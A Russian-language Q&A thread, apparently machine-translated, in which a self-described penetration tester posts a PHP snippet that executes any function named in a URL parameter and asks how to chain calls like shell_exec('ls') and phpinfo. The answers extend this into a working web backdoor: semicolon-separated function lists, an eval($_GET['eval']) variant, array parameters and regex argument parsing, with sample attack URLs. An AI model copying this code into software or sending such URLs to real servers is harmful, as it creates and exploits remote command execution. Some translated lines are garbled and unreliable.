Я тестирую веб-приложение на проникновение, и мне нужно объединить две функции в один URL. (Да я уже проверял этот а также этот)
Я собираюсь взять точно такой же код, потому что я не понимал, почему нет правильного ответа на такой законный вопрос, как этот. (psst, это не про черный ход или что-то в этом роде)
<?php
if(isset($_GET['function'])){
$_GET['function']();
}
?>
Есть ли возможность создать что-то подобное?
http://localhost/?function=shell_exec('ls') AND phpinfo
Спасибо за вашу помощь, и я надеюсь, что на этот раз кто-то серьезно отнесется к законному вопросу вместо того, чтобы обвинить его в аду без логической причины.
Это выглядит крайне опасно. Вы можете передать строку, разделенную точкой с запятой для каждой функции, как это
:
http://localhost/?function=shell_exec('ls');phpinfo
Таким образом, ваш фактический код станет:
if(isset($_GET['function'])){
$functions = explode(';',$_GET['function']);
foreach($functions as $function){
$function();
}
}
Вы также можете использовать eval
функция:
http://localhost/?function=?eval=shell_exec('ls');phpinfo();
с последующим eval($_GET['eval']);
, как предлагается в комментариях ниже.
Здесь есть две проблемы, я сначала отвечу на вопрос.
Почему бы не сделать это массивом?
Адрес:
http://localhost/?function[]=phpinfo&function[]=bob
Код:
$functions = (array)$_GET['function'];
foreach($functions as $function) {
$function();
}
Вторая проблема заключается в том, что вам нелегко передать параметры, как указано выше. Возможно, вам сначала понадобится немного регулярных выражений, но потом вы на тонком льду.
Это огромное предположение, но что-то вроде:
$matches = [];
preg_match('/(\w+)\(('?(\w+)'?,?)+\)/', $functions, $matches);
После этого вы сможете извлечь имя и параметры функции (при условии, что они являются строками) и вызвать функцию с параметрами. Но это регулярное выражение явно хитроумно: /